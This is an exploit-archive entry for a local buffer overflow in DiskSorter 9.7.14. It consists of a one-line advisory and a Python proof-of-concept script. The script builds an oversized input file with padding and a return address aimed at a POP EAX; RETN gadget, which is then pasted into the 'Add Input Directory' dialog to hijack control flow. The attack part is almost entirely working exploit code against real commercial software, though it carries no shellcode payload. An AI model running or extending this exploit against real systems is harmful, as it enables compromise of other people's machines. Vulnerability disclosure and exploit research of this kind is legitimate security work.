DiskSorter 9.7.14 Buffer Overflow

DiskSorter version 9.7.14 suffers from an input directory local buffer overflow vulnerability.


MD5 | 1068155ca3a0c2df819b16e9256c9521

#!/usr/bin/python

######################################
# Exploit Title: DiskSorter v9.7.14 - Input Directory Local Buffer Overflow - PoC
# Date: 25 May 2017
# Exploit Author: n3ckD_
# Vendor Homepage: http://www.disksorter.com/
# Software Link: http://www.disksorter.com/setups/disksorter_setup_v9.7.14.exe
# Version: Disk Sorter v9.7.14 (32-Bit)
# Tested on: Windows 7 Enterprise SP1 (Build 7601)
# Usage: Run the exploit, copy the text of the poc.txt into the 'Inputs -> Add Input Directory' dialog
######################################

print "DiskSorter v9.7.14 (32-Bit) - Input Directory Local Buffer Overflow - PoC"
print "Copy the text of poc.txt into the 'Inputs -> Add Input Directory' dialog"

# in libspg:.text
# 10147C1C 58 POP EAX
# 10147C1D C3 RETN
ret = "\x1c\x7c\x14\x10"

nops = "\x47\x4F"*24
buf = nops + "A"*4048 + ret + "MAGIC" + "\n"

f = open("poc.txt","w")
f.write(buf)
f.close()


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